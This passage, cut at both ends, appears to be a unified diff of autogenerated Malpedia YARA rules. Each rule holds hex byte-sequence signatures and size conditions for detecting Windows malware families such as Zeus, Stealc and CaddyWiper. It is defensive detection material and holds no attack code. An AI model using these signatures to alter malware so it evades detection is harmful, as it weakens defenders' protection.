} + $sequence_5 = { 7279 55 7365 7254 } + $sequence_6 = { 47 657449 7041 64647254 } + $sequence_7 = { 8bb6e4010000 85f6 7407 56 } + $sequence_8 = { 899e8c010000 66898e7c010000 89beac010000 899ea8010000 66898e98010000 b830750000 8d8e14020000 } + $sequence_9 = { 9c 9c 8f442420 9c } + $sequence_10 = { 7443 399df4fbffff 743b 7612 8b8df0fbffff 8b01 8d95f8fbffff } + $sequence_11 = { 6880000000 50 e8???????? 8b85a4fdffff } + $sequence_12 = { 85c0 7507 32c0 e9???????? 33c0 898598fdffff 399da0fdffff } + $sequence_13 = { 7443 8d85acfeffff 68???????? 50 } + $sequence_14 = { 50 53 53 c78580fdffff4a000000 } + $sequence_15 = { 6a0d 59 663bc8 0f84c6000000 } + $sequence_16 = { 54 9c 60 9c } condition: - 7 of them and filesize < 217088 + 7 of them and filesize < 1679360 } -rule MALPEDIA_Win_Dripion_Auto : FILE +rule MALPEDIA_Win_Saint_Bot_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "6e941fbc-0092-5680-a9f8-3d85cce1c3ca" + id = "9b3de383-83bb-59eb-ab8e-cf55885e5316" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.dripion" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.dripion_auto.yar#L1-L111" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.saint_bot" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.saint_bot_auto.yar#L1-L119" license_url = "N/A" - logic_hash = "3337814c1f32071db01b4a02df38137e3cc930cfdb33776a0eb841a83537dbda" + logic_hash = "c120f50dc769e408884483c5952b8e78bb4b0a03aaa97a8ecb7b623ae2701d23" score = 75 quality = 75 tags = "FILE" @@ -113958,32 +113811,32 @@ rule MALPEDIA_Win_Dripion_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { ffd6 0faff8 ffd6 0faff8 } - $sequence_1 = { ffd6 0faff8 8d3c7f ffd6 } - $sequence_2 = { 740f 3ccf 740b 34cf } - $sequence_3 = { ffd6 03f8 ffd6 8bd8 ffd6 0fafd8 } - $sequence_4 = { ffd6 03f8 8d3c7f ffd6 } - $sequence_5 = { 8bf8 ffd6 0faff8 8d3c7f ffd6 } - $sequence_6 = { 7513 6a64 ff15???????? 68???????? ff15???????? } - $sequence_7 = { 8bf8 ffd6 0faff8 8d3c7f } - $sequence_8 = { ffd6 8bf8 ffd6 0faff8 8d3c7f ffd6 } - $sequence_9 = { ffd6 8bf8 ffd6 0faff8 8d3c7f } + $sequence_0 = { 53 ff15???????? 6800018000 eb11 6a50 } + $sequence_1 = { 668975d4 8d4508 33f6 c745b418000000 683f000f00 50 } + $sequence_2 = { 3d2b040000 7415 3d3f040000 740e } + $sequence_3 = { 8945f8 e8???????? 68???????? 8945f0 } + $sequence_4 = { 56 ff15???????? ff15???????? 3db7000000 741c } + $sequence_5 = { 58 6a6e 668945f0 58 6a74 668945f2 } + $sequence_6 = { 6a00 56 68???????? 53 ff15???????? 8bf0 } + $sequence_7 = { 897dec 897df8 ffd6 6808020000 57 8bd8 ffd6 } + $sequence_8 = { ff75dc ffd6 ff75d4 ffd6 e8???????? } + $sequence_9 = { ffd6 ff75f0 ffd6 ff75f4 ffd6 ff75f8 ffd6 } condition: - 7 of them and filesize < 90112 + 7 of them and filesize < 93184 } -rule MALPEDIA_Win_Predator_Auto : FILE +rule MALPEDIA_Win_Roseam_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "0d522826-628f-52a1-a5d4-de369cb17f76" + id = "d66e57df-f9e1-5b6e-89cb-6ce661f1848e" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.predator" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.predator_auto.yar#L1-L122" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.roseam" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.roseam_auto.yar#L1-L119" license_url = "N/A" - logic_hash = "226e996f5790709cd601960ccd073047c3c37841c157b9e9145c03fdc70dc2d7" + logic_hash = "49c65990e1943387e5f2f0be33c8622a534714937967ee32ce82db7fba5361e7" score = 75 quality = 75 tags = "FILE" @@ -113997,32 +113850,32 @@ rule MALPEDIA_Win_Predator_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 56 8bf1 8d4dfd 57 6a0a } - $sequence_1 = { 395dec 7508 83c8ff e9???????? ff75ec e8???????? } - $sequence_2 = { 50 8bcf e8???????? e9???????? 0f2805???????? } - $sequence_3 = { 7316 8a440dc7 32c2 88440dc7 41 } - $sequence_4 = { 83c8ff e9???????? ff75ec e8???????? 59 8bf0 } - $sequence_5 = { 0fa2 8906 895e04 894e08 89560c 834dfcff 8b4df4 } - $sequence_6 = { 8b00 57 03c2 8bce 50 e8???????? 5f } - $sequence_7 = { 8906 895e04 894e08 89560c 834dfcff 8b4df4 } - $sequence_8 = { 395dec 7508 83c8ff e9???????? ff75ec e8???????? 59 } - $sequence_9 = { ff750c 8bf1 8d4dfd ff7508 } + $sequence_0 = { 5d c3 8d4db8 c60200 51 } + $sequence_1 = { 33c9 66894304 66894b06 50 68???????? } + $sequence_2 = { 0f8682000000 66833b20 747c 56 } + $sequence_3 = { 9d 5d 8b45f8 85c0 0f84db000000 } + $sequence_4 = { 41 40 894dfc 8945f8 68???????? 50 9c } + $sequence_5 = { 58 58 8b45bc 48 7409 83e803 0f854c010000 } + $sequence_6 = { 8d85f4fcffff 8a10 8a1e 8aca 3ad3 751e 84c9 } + $sequence_7 = { 803a2e 740c 8a4201 42 } + $sequence_8 = { c7451800000000 84c0 7478 68???????? 50 } + $sequence_9 = { b9ff000000 33c0 8dbdf1f7ffff 8895f0f7ffff 8b1e f3ab } condition: - 7 of them and filesize < 2211840 + 7 of them and filesize < 221184 } -rule MALPEDIA_Win_Expiro_Auto : FILE +rule MALPEDIA_Win_Miniblindingcan_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "6fa4b0d5-e65d-5709-9429-c535e22a563a" + id = "2e31c245-b31c-5b1f-badb-b374294b1a0c" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.expiro" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.expiro_auto.yar#L1-L129" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.miniblindingcan" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.miniblindingcan_auto.yar#L1-L130" license_url = "N/A" - logic_hash = "e9646f75b21b41c42f31fadf4efd1887628909c4616d1866a9062fcf7c528d57" + logic_hash = "f1bc6c8d1c138b9d3da736626c3c3e7c154dc57584230d14e9675b4385ae575b" score = 75 quality = 75 tags = "FILE" @@ -114036,34 +113889,34 @@ rule MALPEDIA_Win_Expiro_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 52 e8???????? 83c404 385c2413 0f85ddfdffff b8???????? 8d4c2414 } - $sequence_1 = { 02abd9737373 739b 057d737313 7173 7373 7373 } - $sequence_2 = { 8d7558 c684244802000002 33c0 c7461407000000 895e10 668906 } - $sequence_3 = { 367bf8 337ffa 36871b 49 16 62639b } - $sequence_4 = { 56 6a00 6a00 ff15???????? b932000000 8bc3 33ed } - $sequence_5 = { 8b06 33d2 5f 668910 8bc6 5b c20800 } - $sequence_6 = { 668906 57 83c8ff 8bd6 e8???????? 897c2420 } - $sequence_7 = { 8b4c241c 33cc b001 e8???????? 83c420 c3 6aff } - $sequence_8 = { 50 8d7c247c c68424f802000003 e8???????? 83c404 c68424f402000002 837c243808 } - $sequence_9 = { 83c8ff b9???????? 8d542450 89742464 897c2460 e8???????? } + $sequence_0 = { e9???????? 81fbba470000 7513 488d0511350000 488905???????? e9???????? 81fb63450000 } + $sequence_1 = { 488bc6 488d1523dd0100 83e11f 48c1f805 486bc958 48030cc2 eb07 } + $sequence_2 = { 48893d???????? eb1b 488b0d???????? 488d15bf980100 ff15???????? 488905???????? 4183fc0a } + $sequence_3 = { 7478 488b03 83e20f 488907 488b4308 4803de 48894708 } + $sequence_4 = { 8bc0 41890c86 498b0c24 490fafc8 48c1e934 8bc9 418b048e } + $sequence_5 = { 8d4af3 ff15???????? 41be4c000000 498bcf 488bd0 458bc6 488be8 } + $sequence_6 = { 488b8a50000000 e9???????? 4055 4883ec40 488bea 488d4540 4889442430 } + $sequence_7 = { b835000000 0f05 c3 4c8bd1 b836000000 0f05 } + $sequence_8 = { 448bc7 488bce 488bd0 4c8be0 e8???????? 3bc5 7412 } + $sequence_9 = { 488b4c2458 c744244802000000 488d442454 4889442440 } condition: - 7 of them and filesize < 3776512 + 7 of them and filesize < 453632 } -rule MALPEDIA_Win_Xpan_Auto : FILE +rule MALPEDIA_Win_Zeus_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "9c9e2899-7c42-5d4a-8e72-8695f33e2151" + id = "a7137ca7-f65f-570e-b179-06b94ad7a971" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.xpan" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.xpan_auto.yar#L1-L131" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.zeus" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.zeus_auto.yar#L1-L225" license_url = "N/A" - logic_hash = "02ec4378c7469aa379433aa31077402814d90eca993bb596a3f9dbc0c47c27e0" + logic_hash = "3d703221ad7e27ff4fc081759a0590d4715ffa458d7987388aee7eef0fc141ff" score = 75 - quality = 75 + quality = 73 tags = "FILE" version = "1" tool = "yara-signator v0.6.0" @@ -114075,32 +113928,45 @@ rule MALPEDIA_Win_Xpan_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 8b16 899310010000 8b542414 e8???????? 89b310010000 e9???????? 8b6904 } - $sequence_1 = { 8b4d10 85c9 0f84cdfdffff 66837d14ff bb01000000 0f84d7000000 8b4d08 } - $sequence_2 = { 0fb64c2454 8b442440 896c2408 88542418 890424 894c2404 } - $sequence_3 = { 8b4508 c685f0feffff00 890424 e8???????? 8d8d60ffffff 8985d4feffff e8???????? } - $sequence_4 = { b904000000 89f5 e9???????? 8b8c24b0000000 8b5004 8b00 } - $sequence_5 = { 89eb 0f841dffffff f744245400040000 7483 0fb6442454 89742408 892c24 } - $sequence_6 = { 8b4bf4 85c9 7438 807dc600 8d45e4 8945c8 } - $sequence_7 = { 89d3 75ed 8b4728 83f8ff 7475 39f0 0f4df0 } - $sequence_8 = { 7412 85ff 0f846e010000 85c0 ba???????? 0f44c2 85f6 } - $sequence_9 = { 85d2 89742418 8b6c2444 8b74241c 0f8571feffff c647ff00 b801000000 } + $sequence_0 = { eb58 833f00 7651 8b5f08 } + $sequence_1 = { 8d461c 50 8d45f0 50 e8???????? 6a10 8d460c } + $sequence_2 = { 8d461c 50 8d460c 50 e8???????? } + $sequence_3 = { 8d440810 8bc8 2bca 8b12 } + $sequence_4 = { 8d460c 8d4df0 e8???????? f7d8 1ac0 fec0 c9 } + $sequence_5 = { 85c0 7438 83600400 8918 8b4e08 } + $sequence_6 = { 8906 85ff 760c 8b550c } + $sequence_7 = { 83f801 7516 51 e8???????? } + $sequence_8 = { 8bf3 6810270000 ff35???????? ff15???????? } + $sequence_9 = { 891d???????? 891d???????? ffd6 68???????? } + $sequence_10 = { e8???????? 84c0 7442 6a10 } + $sequence_11 = { 8d8db0fdffff e8???????? 8ad8 84db } + $sequence_12 = { c20400 55 8bec f6451802 } + $sequence_13 = { ff15???????? 5e 8ac3 5b c20800 55 } + $sequence_14 = { b364 6a14 eb18 81fb5a5c4156 } + $sequence_15 = { 8d470c 50 c707000e0000 c7470809080002 e8???????? 83674200 6a78 } + $sequence_16 = { 3509080002 3d5c5b4550 740b 3d59495351 0f85ca000000 807b0420 0f85c0000000 } + $sequence_17 = { 0f873d020000 83fe06 0f86e3000000 8b03 3509080002 3d5c5b4550 740b } + $sequence_18 = { 68???????? 6809080002 8bc6 50 8d45fc } + $sequence_19 = { 56 68???????? ff750c 51 ff7508 ff15???????? 8bf8 } + $sequence_20 = { 8d75a8 b8d5000000 e8???????? 68e6010000 68???????? 6809080002 } + $sequence_21 = { 6813270000 6a04 5b 8bc6 c745f809080002 e8???????? 8ad8 } + $sequence_22 = { 807b0244 7429 83fe04 0f82ec000000 8b1b 81f309080002 } condition: - 7 of them and filesize < 3235840 + 7 of them and filesize < 319488 } -rule MALPEDIA_Win_Manitsme_Auto : FILE +rule MALPEDIA_Win_Tempedreve_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "71cb4532-c54e-57eb-a20c-2765fcfa6978" + id = "2db2cfb5-7120-5d3b-b0b8-3bdd15ee2814" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.manitsme" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.manitsme_auto.yar#L1-L120" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.tempedreve" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.tempedreve_auto.yar#L1-L163" license_url = "N/A" - logic_hash = "f54a2de03d86d0088dd4a7debb0ef3d048ee2324f936fed5683caed7b0cf71b4" + logic_hash = "81da1ba35c5682d2618815158fab067de40d7a4b67ee1d7e4df00dcd82c55387" score = 75 quality = 75 tags = "FILE" @@ -114114,32 +113980,38 @@ rule MALPEDIA_Win_Manitsme_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 895c2450 ffd6 8b35???????? 8d542410 52 } - $sequence_1 = { 85c0 0f84a2000000 837c241000 766e 6a00 8d442414 50 } - $sequence_2 = { 8bc8 c1f905 8d1c8d40580110 8bf0 83e61f 6bf628 8b0b } - $sequence_3 = { d96c2416 e8???????? 83c404 85c0 7505 b8100e0000 } - $sequence_4 = { 6a02 68???????? be07000000 e8???????? } - $sequence_5 = { 68???????? 32db e8???????? dc0d???????? } - $sequence_6 = { 52 be04010000 8bfb e8???????? } - $sequence_7 = { ff15???????? 6a00 b801000000 e8???????? 83c404 b801000000 c20c00 } - $sequence_8 = { ffd3 85c0 7586 50 ff15???????? } - $sequence_9 = { 7416 8bc1 83e01f 6bc028 8bd1 c1fa05 03049540580110 } + $sequence_0 = { 663bfb 7407 663b7c2448 7520 0fb77804 } + $sequence_1 = { 8d5602 03d1 e9???????? 807dfe80 751e 8a4101 24f8 } + $sequence_2 = { 83c40c ab 55 8d84247c0e0000 50 } + $sequence_3 = { 0f85c8020000 0fb74314 55 56 0fb77306 } + $sequence_4 = { 740e 80fb12 7511 8a4101 24c0 } + $sequence_5 = { 8a1c1e 8d42d0 46 32c9 3c09 } + $sequence_6 = { 015308 f7d0 0bc2 33c6 } + $sequence_7 = { ff743bfc 8bcb ff743bf8 e8???????? } + $sequence_8 = { 0f85c9000000 8b542430 3bda 7320 8d4d02 } + $sequence_9 = { c0e801 7434 83d102 89c5 } + $sequence_10 = { 2bc8 894c2414 3b4c242c 0f8738010000 8b4c2410 } + $sequence_11 = { c1e903 8d440140 c20400 8b44240c } + $sequence_12 = { d1c0 33c7 0fb6b90130cb00 d1c0 } + $sequence_13 = { 3a1429 8b4c2414 bb02000000 740c 3b8e24040000 0f85c9000000 } + $sequence_14 = { 0f846b010000 83ff01 0f8650010000 8b542454 8bcf 2bcb 8d0411 } + $sequence_15 = { f7d0 8944241c 61 c20800 60 8b742424 } condition: - 7 of them and filesize < 212992 + 7 of them and filesize < 155648 } -rule MALPEDIA_Win_Stealc_Auto : FILE +rule MALPEDIA_Win_Kimjongrat_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "ff6aaa00-958c-53cc-ab33-0d5cc117632f" + id = "4b926698-de48-5e8a-8566-c17b49269158" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.stealc_auto.yar#L1-L165" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.kimjongrat" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.kimjongrat_auto.yar#L1-L134" license_url = "N/A" - logic_hash = "0abba8b26d40125f184d3d439be2ae9ffb7dbc4aae103ea542b0165f4c38fedb" + logic_hash = "da574ab8eb91cef15d29c514535c9dc879faba86aa4b2abebc3c50264b62c499" score = 75 quality = 75 tags = "FILE" @@ -114153,40 +114025,32 @@ rule MALPEDIA_Win_Stealc_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { e8???????? e8???????? 81c480000000 e9???????? } - $sequence_1 = { e8???????? e8???????? 83c418 6a3c } - $sequence_2 = { e8???????? 83c460 e8???????? 83c40c } - $sequence_3 = { ff15???????? 85c0 7507 c685e0feffff43 } - $sequence_4 = { 68???????? e8???????? e8???????? 83c474 } - $sequence_5 = { 50 e8???????? e8???????? 81c484000000 } - $sequence_6 = { 8d85dcf7ffff 50 8b450c 53 ff30 895df0 } - $sequence_7 = { 8d85dcf7ffff 50 ff15???????? 85c0 0f84a1000000 } - $sequence_8 = { e8???????? e8???????? 83c47c e9???????? } - $sequence_9 = { 69c10ba31400 894d80 2bc2 66894584 } - $sequence_10 = { e9???????? 694d940ba31400 ba51754269 2bca } - $sequence_11 = { 2bca 884c0588 48ffc0 4883f808 } - $sequence_12 = { 2bc2 66894584 69c187fd701e b934eddb95 } - $sequence_13 = { 85c0 750a b043 66c745a04300 eb03 8a45a0 } - $sequence_14 = { 8bcc 8d85e8fcffff 50 e8???????? } - $sequence_15 = { 894d94 b925000000 e8???????? 0fb64d8f } - $sequence_16 = { ba51754269 2bca 69c10ba31400 894d80 } - $sequence_17 = { e8???????? 0fb64d8f 4c8be0 440fb6458e } + $sequence_0 = { eb13 ff37 6a00 ff771c 52 ff7508 e8???????? } + $sequence_1 = { 85c9 740e 51 50 e8???????? 83c408 0bf8 } + $sequence_2 = { e9???????? c6840decfbffff64 e9???????? c6840decfbffff70 e9???????? c6840decfbffff73 e9???????? } + $sequence_3 = { c6840db0abffff29 e9???????? c6840db0abffff3b e9???????? c6840db0abffff2b e9???????? c6840db0abffff3e } + $sequence_4 = { 8b43e8 0343e4 8943cc e9???????? 8d4304 50 8d73d4 } + $sequence_5 = { 8bd7 85d2 7464 8b4d08 8b4908 8b491c 8b4910 } + $sequence_6 = { beff1f0000 6685700c 8b75c8 741c 6a00 52 57 } + $sequence_7 = { 8b5d08 807b4201 0f859d000000 8a5340 f6c202 0f8491000000 8b4b10 } + $sequence_8 = { e9???????? 6a01 ff73b4 57 e8???????? ff73c4 ff73f4 } + $sequence_9 = { e8???????? 8b5d10 53 6a00 6a4f ff75f8 8bf8 } condition: - 7 of them and filesize < 4891648 + 7 of them and filesize < 1572864 } -rule MALPEDIA_Win_Whitebird_Auto : FILE +rule MALPEDIA_Win_Slip_Screen_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "1f55b3f7-b049-5ddb-a603-f3dac3229eba" + id = "ad9c8d39-15d3-5df8-9251-a49652741d85" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.whitebird" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.whitebird_auto.yar#L1-L161" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.slip_screen" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.slip_screen_auto.yar#L1-L126" license_url = "N/A" - logic_hash = "084753ca04c12bd29943e734768bdc4d7b6a6a5445a6b9fa8738444da44f9e8b" + logic_hash = "dad34e4a0f7996ab63085bce3884e3e4048e2436bb6df0518e66ce50f19fbbe3" score = 75 quality = 75 tags = "FILE" @@ -114200,37 +114064,32 @@ rule MALPEDIA_Win_Whitebird_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { eb09 80f92f 0f95c1 80c13f } - $sequence_1 = { 488b83e8140000 488d15a7f2ffff 41b82f000000 488901 488b83f0140000 } - $sequence_2 = { 56 e8???????? 59 8945d4 85c0 0f84f5000000 6a00 } - $sequence_3 = { 66898d56ffffff 59 6689855cffffff 66898d58ffffff 8bc8 33c0 } - $sequence_4 = { 74ea 3918 7467 8b85f4feffff } - $sequence_5 = { 7cd5 41c60300 4863c2 4c2bd8 4c891e } - $sequence_6 = { 4c8d4c2440 458bc4 488bd0 488bcd } - $sequence_7 = { 66898572ffffff 66898d68ffffff 59 6a73 66898d6affffff 8bc8 58 } - $sequence_8 = { 488d0dacc9ffff 41b808020000 ff15???????? 4c8d5c2478 488d8424b0000000 } - $sequence_9 = { 8d43f5 66898c2400010000 66898424fe000000 8d43f6 6689942408010000 } - $sequence_10 = { ffd0 8d4584 50 6802000080 } - $sequence_11 = { 41bc00200000 498bd4 488d8c2450050000 e8???????? 33c0 488bcb } - $sequence_12 = { 8985b8fcffff 8b859cfcffff 0fb74002 83c40c 50 c785b4fcffff06000000 ff15???????? } - $sequence_13 = { 83fe1a 0f8c77ffffff 488d4c2450 ff15???????? 8b542460 8b442458 } - $sequence_14 = { 6806020000 50 668985f4fdffff 8d85f6fdffff 50 e8???????? 8bc7 } + $sequence_0 = { eb0c 4881c7e8000000 4885f6 7405 488bce ff17 4d85f6 } + $sequence_1 = { 4885c9 0f8498000000 4863413c 4533db 448b8c0888000000 } + $sequence_2 = { 48898798000000 4885c0 0f8462020000 41b8ce48ccfd 8bd6 488bcb } + $sequence_3 = { 7447 410fb702 6685c0 7438 8d4abf 6683f919 448d4220 } + $sequence_4 = { eb02 33c0 4c8d9c2490040000 498b5b28 498b6b30 } + $sequence_5 = { 4903c1 4d8bc8 488bc8 48c1e020 48c1e920 480bc8 0fb7c1 } + $sequence_6 = { 0f1000 0f1145c4 f20f104810 f20f114dd4 8b4018 8945dc } + $sequence_7 = { 488b8100010000 4885c0 7403 f0ff00 488d4138 41b806000000 488d1547960000 } + $sequence_8 = { 488bd0 48c1e020 48c1ea20 480bd0 0fb7c2 6633443bfa } + $sequence_9 = { 0fafca 4403c9 440fafc8 458bc1 440fafc0 428d0c0a } condition: - 7 of them and filesize < 139264 + 7 of them and filesize < 282624 } -rule MALPEDIA_Win_Open_Carrot_Auto : FILE +rule MALPEDIA_Win_Caddywiper_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "83f461b8-8266-54de-aecf-ccf2d96f380a" + id = "3bfe4656-7095-5bf1-a220-b7990a8e8540" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.open_carrot" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.open_carrot_auto.yar#L1-L134" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.caddywiper" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.caddywiper_auto.yar#L1-L115" license_url = "N/A" - logic_hash = "e66ea48fe876b6e65527515af0e78a716fad581d1208dc43cfdbcb201ec0f71a" + logic_hash = "1d17e07981d8c6c1b9158309889ffc1ea6f49825b4f9491b9319c2fdd5793cb7" score = 75 quality = 75 tags = "FILE" @@ -114244,34 +114103,34 @@ rule MALPEDIA_Win_Open_Carrot_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 66894110 837de801 0f8588000000 488bc7 80bdfa00000001 7545 0f1f440000 } - $sequence_1 = { e8???????? 4863d7 4c8d05dbdc0f00 41b9e3010000 498bce e8???????? 418bc7 } - $sequence_2 = { 80fb00 0f846c000000 4d31e5 4881e700080000 49c7c501000000 4989eb 4881e190000000 } - $sequence_3 = { 55 48bd612fef7700000000 48016c2408 5d 8f042b 48812c2b612fef77 50 } - $sequence_4 = { 4d29c9 0137 4981e13f000000 4889eb 4881c306010000 4d09c1 2933 } - $sequence_5 = { 8bd6 488d8d10070000 e8???????? 85c0 400f94c7 eb03 4032ff } - $sequence_6 = { e8???????? 498bcd e8???????? 448b442434 4c8d0dc8cb0d00 ba72000000 c744242082020000 } - $sequence_7 = { 4c8d8594080000 4489b520030000 bacc010000 488d8d24030000 e8???????? 448bad20030000 448b4c2438 } - $sequence_8 = { 68bc5c574f 4150 4d89f0 4150 8f442408 4158 8f0424 } - $sequence_9 = { 488d1575381000 41b872010000 e8???????? 48638300020000 4c89bcc380000000 48638300020000 488b6c2448 } + $sequence_0 = { c645af55 c645b073 c645b165 c645b272 c645b373 c645b400 } + $sequence_1 = { 33c0 eb69 c78564ffffff01000000 8b55a8 899568ffffff } + $sequence_2 = { c685b6fbffff65 c685b7fbffff00 c685b8fbffff72 c685b9fbffff00 c685bafbffff6e c685bbfbffff00 } + $sequence_3 = { 33c0 eb13 ff55b4 3d14050000 7504 } + $sequence_4 = { c68597feffff00 c68598feffff70 c68599feffff00 c6859afeffff69 c6859bfeffff00 c6859cfeffff33 } + $sequence_5 = { 0f85fe000000 8b55f4 8b4210 8945f0 } + $sequence_6 = { c685b8feffff72 c685b9feffff69 c685bafeffff74 c685bbfeffff79 c685bcfeffff49 } + $sequence_7 = { 85d2 7421 8b4508 0345f4 8a4dfb } + $sequence_8 = { c745fc00000000 c68538ffffff43 c68539ffffff6c c6853affffff6f c6853bffffff73 } + $sequence_9 = { 83ec70 c745f800000000 c745ec00000000 64a130000000 } condition: - 7 of them and filesize < 8377344 + 7 of them and filesize < 33792 } -rule MALPEDIA_Win_Bankshot_Auto : FILE +rule MALPEDIA_Win_Longwatch_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "c44209fc-b1c7-5402-9078-b4bcc5bc536b" + id = "ce0e9c11-46ca-5532-8823-1deb885f5c74" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.bankshot" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.bankshot_auto.yar#L1-L435" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.longwatch" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.longwatch_auto.yar#L1-L118" license_url = "N/A" - logic_hash = "63bc5c29766faa4a92cc1d97b03d2ca49fa1b92e737ecc0b56db090eb70af715" + logic_hash = "9dae6296ff953841361d58c7b1fa7eff6214a00cb7112d7c5966dd21deae5ffb" score = 75 - quality = 50 + quality = 75 tags = "FILE" version = "1" tool = "yara-signator v0.6.0" @@ -114283,108 +114142,86 @@ rule MALPEDIA_Win_Bankshot_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 8bec 81ec48040000 a1???????? 33c5 8945f8 53 } - $sequence_1 = { 8bf8 8d5101 8a01 41 84c0 75f9 57 } - $sequence_2 = { 68???????? ff7604 ff15???????? 81be2005000000008000 894608 751c 6a04 } - $sequence_3 = { 0f2815???????? 8bf2 2bf0 660f1f440000 0f10840de43fffff 0f28ca 660fefc8 } - $sequence_4 = { 0fb611 0fb6c0 eb17 81fa00010000 7313 8a87bce10110 } - $sequence_5 = { 83c8e0 40 0f280d???????? 8bf2 2bf0 660f1f440000 0f10840de4bfffff } - $sequence_6 = { 6a01 56 56 8975fc ff15???????? 85c0 7450 } - $sequence_7 = { c74048b8e40110 8b4508 6689486c 8b4508 66898872010000 8b4508 83a04c03000000 } - $sequence_8 = { 8b45fc 817848b8e40110 7409 ff7048 e8???????? 59 c70701000000 } - $sequence_9 = { 57 50 e8???????? 83c40c 6b45e430 8945e0 8d80d0e10110 } - $sequence_10 = { 81fa00010000 7313 8a87bce10110 08441619 42 0fb64101 } - $sequence_11 = { 894de4 3998c0e10110 0f84ea000000 41 83c030 894de4 3df0000000 } - $sequence_12 = { 33c0 6800000020 66898475ccfbffff 8d85ccfbffff } - $sequence_13 = { e8???????? 83c40c e8???????? 99 b907000000 f7f9 } - $sequence_14 = { 8a06 8d7601 884431ff 84c0 75f3 68???????? 8d730c } - $sequence_15 = { c700???????? 8b4508 898850030000 8b4508 59 c74048b8e40110 8b4508 } - $sequence_16 = { e8???????? 83c404 89861c020000 8b45e0 8d4e0c 6a06 8d90c4e10110 } - $sequence_17 = { c644243b7b c644243cc1 884c243d c644243ef5 } - $sequence_18 = { 6b05????????3c 0305???????? 0fb74df4 